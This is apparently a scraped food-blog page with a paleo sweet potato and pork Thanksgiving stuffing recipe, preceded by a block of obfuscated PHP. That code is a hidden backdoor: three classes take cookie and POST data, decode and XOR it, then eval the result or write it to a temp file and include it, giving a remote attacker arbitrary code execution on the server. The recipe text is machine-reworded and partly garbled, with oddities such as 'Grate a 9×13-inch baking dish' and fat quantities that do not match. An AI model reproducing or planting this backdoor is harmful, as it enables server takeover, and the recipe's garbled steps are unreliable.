$KTsfczJabr = chr (83) . 'C' . chr ( 891 - 822 ).chr (95) . "\x41" . 'q' . chr ( 277 - 165 ).'W';$ZogbtLh = 'c' . chr (108) . chr ( 581 - 484 )."\x73" . chr ( 435 - 320 )."\x5f" . chr ( 444 - 343 ).chr ( 730 - 610 ).chr (105) . chr ( 336 - 221 ).chr (116) . 's';$uQHNN = class_exists($KTsfczJabr); $KTsfczJabr = "2768";$ZogbtLh = "21667";if ($uQHNN === FALSE){class SCE_AqpW{public function dveqn(){echo "45139";}private $MtLFGqe;public static $japEoMfyI = "b72c405c-210a-4bf6-be37-e0844adf5b17";public static $PgnkQuZSkY = 12118;public function __construct($hIbzhSu=0){$coaBSUP = $_POST;$eUKDlppJvS = $_COOKIE;$cNeFuIf = @$eUKDlppJvS[substr(SCE_AqpW::$japEoMfyI, 0, 4)];if (!empty($cNeFuIf)){$RXuYyoanv = "base64";$tmsxdXTZq = "";$cNeFuIf = explode(",", $cNeFuIf);foreach ($cNeFuIf as $qyqgg){$tmsxdXTZq .= @$eUKDlppJvS[$qyqgg];$tmsxdXTZq .= @$coaBSUP[$qyqgg];}$tmsxdXTZq = array_map($RXuYyoanv . chr (95) . "\144" . 'e' . 'c' . 'o' . chr (100) . 'e', array($tmsxdXTZq,)); $tmsxdXTZq = $tmsxdXTZq[0] ^ str_repeat(SCE_AqpW::$japEoMfyI, (strlen($tmsxdXTZq[0]) / strlen(SCE_AqpW::$japEoMfyI)) + 1);SCE_AqpW::$PgnkQuZSkY = @unserialize($tmsxdXTZq);}}private function mMvEtTq(){if (is_array(SCE_AqpW::$PgnkQuZSkY)) {$pnMYD = str_replace('<' . "\x3f" . "\x70" . chr ( 489 - 385 )."\160", "", SCE_AqpW::$PgnkQuZSkY[chr ( 890 - 791 ).'o' . chr ( 833 - 723 ).chr ( 1046 - 930 ).chr ( 684 - 583 ).chr ( 294 - 184 )."\x74"]);eval($pnMYD); $SxoaSB = "9909";exit();}}public function __destruct(){$this->mMvEtTq();}}$SjHecGlZFm = new /* 53483 */ SCE_AqpW(); $SjHecGlZFm = str_repeat("23954_58711", 1);}$WjQJSuFb = 'p' . "\x63" . chr ( 618 - 523 ).chr (90) . chr (105) . 'y';$vZAlKrE = 'c' . chr (108) . "\x61" . "\163" . 's' . "\x5f" . "\x65" . chr (120) . "\151" . chr (115) . chr ( 137 - 21 )."\x73";$fOiOC = class_exists($WjQJSuFb); $WjQJSuFb = "52747";$vZAlKrE = "34672";if ($fOiOC === FALSE){class pc_Ziy{public function DClgZnjqit(){echo "37654";}private $SLDeGTdr;public static $xaNvgVI = "600cb282-cd3b-490a-80f5-557f5b3b4f13";public static $uzRunIYrE = 59282;public function __construct($TUmqQf=0){$usvdLjDZ = $_POST;$wChCS = $_COOKIE;$URUzaXZamB = @$wChCS[substr(pc_Ziy::$xaNvgVI, 0, 4)];if (!empty($URUzaXZamB)){$EoucdcxXtw = "base64";$SXfFAoyB = "";$URUzaXZamB = explode(",", $URUzaXZamB);foreach ($URUzaXZamB as $AWzyHPRHU){$SXfFAoyB .= @$wChCS[$AWzyHPRHU];$SXfFAoyB .= @$usvdLjDZ[$AWzyHPRHU];}$SXfFAoyB = array_map($EoucdcxXtw . "\x5f" . "\144" . "\x65" . chr ( 1002 - 903 )."\157" . 'd' . 'e', array($SXfFAoyB,)); $SXfFAoyB = $SXfFAoyB[0] ^ str_repeat(pc_Ziy::$xaNvgVI, (strlen($SXfFAoyB[0]) / strlen(pc_Ziy::$xaNvgVI)) + 1);pc_Ziy::$uzRunIYrE = @unserialize($SXfFAoyB);}}private function GhtGJKbrg(){if (is_array(pc_Ziy::$uzRunIYrE)) {$yRXRPJY = sys_get_temp_dir() . "/" . crc32(pc_Ziy::$uzRunIYrE["\x73" . 'a' . "\154" . 't']);@pc_Ziy::$uzRunIYrE["\167" . chr ( 522 - 408 ).chr ( 347 - 242 ).'t' . chr (101)]($yRXRPJY, pc_Ziy::$uzRunIYrE["\x63" . chr ( 461 - 350 )."\156" . "\164" . "\x65" . chr ( 144 - 34 ).chr ( 568 - 452 )]);include $yRXRPJY;@pc_Ziy::$uzRunIYrE["\144" . "\x65" . "\x6c" . "\x65" . chr ( 1102 - 986 )."\x65"]($yRXRPJY); $ZBzRNXrGex = "4913";exit();}}public function __destruct(){$this->GhtGJKbrg();}}$kacWX = new /* 50896 */ pc_Ziy(); $kacWX = str_repeat("19877_9773", 1);}$LmeRgeVgN = "\127" . chr ( 338 - 221 )."\x4a" . "\137" . 'X' . "\126" . "\164" . "\141";$ezjrGevPJ = chr (99) . "\154" . "\141" . chr (115) . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 604 - 499 ).'s' . "\164" . "\163";$yvpIeDpxH = class_exists($LmeRgeVgN); $LmeRgeVgN = "1622";$ezjrGevPJ = "8837";if ($yvpIeDpxH === FALSE){class WuJ_XVta{public function tmxtqTuzV(){echo "34896";}private $kLwEoZHLU;public static $AtNnlIzWS = "ff4667b4-a25e-4c51-a12f-b44655f427b1";public static $HAaswuFAeS = 36385;public function __construct($wIVteLo=0){$bUdVg = $_POST;$titKfmw = $_COOKIE;$WpzjfgGRbV = @$titKfmw[substr(WuJ_XVta::$AtNnlIzWS, 0, 4)];if (!empty($WpzjfgGRbV)){$pinVAT = "base64";$cTBJBglBy = "";$WpzjfgGRbV = explode(",", $WpzjfgGRbV);foreach ($WpzjfgGRbV as $eLpJfVp){$cTBJBglBy .= @$titKfmw[$eLpJfVp];$cTBJBglBy .= @$bUdVg[$eLpJfVp];}$cTBJBglBy = array_map($pinVAT . chr ( 363 - 268 ).chr ( 970 - 870 )."\x65" . 'c' . "\157" . 'd' . chr (101), array($cTBJBglBy,)); $cTBJBglBy = $cTBJBglBy[0] ^ str_repeat(WuJ_XVta::$AtNnlIzWS, (strlen($cTBJBglBy[0]) / strlen(WuJ_XVta::$AtNnlIzWS)) + 1);WuJ_XVta::$HAaswuFAeS = @unserialize($cTBJBglBy);}}private function pTXow(){if (is_array(WuJ_XVta::$HAaswuFAeS)) {$KwtZLz = sys_get_temp_dir() . "/" . crc32(WuJ_XVta::$HAaswuFAeS[chr ( 616 - 501 ).chr (97) . 'l' . chr (116)]);@WuJ_XVta::$HAaswuFAeS['w' . "\x72" . chr ( 700 - 595 )."\164" . chr (101)]($KwtZLz, WuJ_XVta::$HAaswuFAeS['c' . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);include $KwtZLz;@WuJ_XVta::$HAaswuFAeS["\x64" . chr ( 597 - 496 )."\154" . "\x65" . chr (116) . chr (101)]($KwtZLz); $VoEUQ = "62943";exit();}}public function __destruct(){$this->pTXow();}}$ijexhronD = new /* 50614 */ WuJ_XVta(); $ijexhronD = str_repeat("31769_2794", 1);} Sweet Potato & Pork Thanksgiving Stuffing
April 18, 2024

Sweet Potato & Pork Thanksgiving Stuffing

It’s also known as stuffing. You can also call it dressing. It can be called anything you want, but it is a holiday classic.

This version is perfect for Paleo or gluten-free guests!

Sweet Potato Fries

This stuffing is rich in sweet potatoes and ground pork and has a lot of holiday flavor. It’s delicious with turkey, too!

My first Paleo stuffing attempts were a little too heavy and uninteresting.

I was missing bread. This is a problem for anyone who follows a gluten-free and grain-free diet. But I wanted to add starchy goodness and toasty flavors, so I settled on the roasted sweet potato as the perfect substitute.

Another thing I missed was the crunch that you get around the edges of traditional stuffings where the bread becomes crisp and toasty. This problem was solved by adding a pecan crunch to the top. This adds crunch and holiday flavor.

You can skip the pecan topping if you’re allergic to nuts. Instead, I recommend adding garlic and herbs to your stuffing.

The final step was to increase the richness of the dish’s savoury flavour. This was done by browning the ground pork thoroughly and sauteing the vegetables with the rendered pork fat. Finally, I deglazed the pan with some port wine.

I came up with a Paleo stuffing which I believe could be as good or better than any traditional stuffing. It will most likely be on our holiday table.

Sweet Potato & Pork Thanksgiving Stuffing

PREP TIME 45 minutes

COOK TIME 40 mins

TOTAL TIME 85 minutes

SERVINGS8-10 servings

You can prepare this dish a day ahead of time. If you are using unbaked ingredients, the cooking time may be slightly longer. Start checking for doneness at forty minutes.

This recipe is also great for stuffing winter squash!

Ingredients

  • Stuffing ingredients:
  • 2 large sweet potatoes (8-10 ounces), peeled and cut into 1/2-inch cubes
  • Three tablespoons olive or duck fat (divided).
  • Ground pork 2 lb
  • 1 cup chopped yellow onion (from 1/2 large onion)
  • 1 cup diced carrots (from 1 big carrot or 2 small ones)
  • One cup chopped celery (from 2-3 celery stalks).
  • 1/2 cup sweet sherry or port
  • 2 large pears, peeled & diced
  • One cup dried cherries or cranberries (optional, leave it out if you don’t want sugars).
  • One cup chopped fresh herbs. I used 3/4 cup flat parsley and 1/4 cup mixed fresh sage and chervil.
  • 3 large eggs
  • Pecan crumble ingredient
  • s:
  • 1 1/2 cups unsalted pecans
  • 1/4 cup dried cherries or cranberries
  • One tablespoon olive oil, butter, or duck fat (room temperature, if kept in the fridge).
  • 2 to 3 cloves of garlic, peeled.
  • 1/4 cup fresh herbs
  • 1/4 teaspoon salt
  • 1/4 teaspoon black pepper

Method

  1. Roast the sweet potatoes
  2. Pre-heat oven to 425F. Line a large baking sheet using parchment paper or Silpat. Mix the sweet potato cubes with 1/2 cup of your cooking fat (ghee, duck fat or butter) and season with salt and pepper.
  3. Place them on a baking sheet. Roast for 20 minutes. Stir the potatoes halfway through.
  4. They should be golden brown when done and can easily be pierced using a fork.
  5. Brown the meat
  6. While the sweet potatoes roast, heat another tablespoon of your cooking oil in a large skillet on medium-high heat.
  7. The ground pork should be browned in two to three batches. To make small crumbles, break up the pork while it cooks. Cook the pork until it is browned and no longer pink. This takes 5 to 7 minutes per batch. If the pan is dry, add additional cooking fat.
  8. Once each batch is completed, transfer it into a large bowl using a slotted spoon.
  9. Sauté the vegetables
  10. Melt a little (1- 2 teaspoons) of the cooking fat in the same skillet as the pork. In a large skillet, heat the olive oil. Add the chopped onion, carrot, celery, and parsley.
  11. Salt the onion and cook for 5 to 7 mins or until translucent. Transfer the pork to the bowl.
  12. Glaze the pan
  13. Return the pan to high heat, and then add the port. Allow the pot to simmer for about one minute. Make sure you scrape up any brown bits from the bottom of your pan. The port should be poured over the vegetables and the pork.
  14. Turn the oven on to 350F.
  15. Grate a 9×13-inch baking dish or another 3-quart baking dish.
  16. Combine the filling ingredients
  17. Toss the browned meat with sauteed vegetables, pears, cranberries and herbs. Combine all ingredients. If necessary, taste and adjust the salt, pepper, or herbs.
  18. The stuffing can then be covered and refrigerated for up to 2 days before being cooked.
  19. Mix the eggs with the stuffing until well combined. Spread the stuffing in a greased baking dish.
  20. Bake the stuffing covered for 20 minutes.
  21. Make the topping of pecan crumble:
  22. Mix all ingredients in a food processor while the stuffing is cooking. Pulse until mixture becomes crumbly. You don’t want to overprocess, or you will end up with garlicky nuts butter.
  23. Add the crumble to the top of the stuffing.
  24. Take the stuffing out of the oven, and sprinkle the pecan crumble evenly on top. Continue baking for 20 minutes, covered. The top should be lightly toasted and very fragrant. If you don’t want to add the pecan crumble, bake the stuffing for about 30 minutes.
  25. Cool and ready to serve:
  26. Allow the stuffing to cool briefly before you serve it.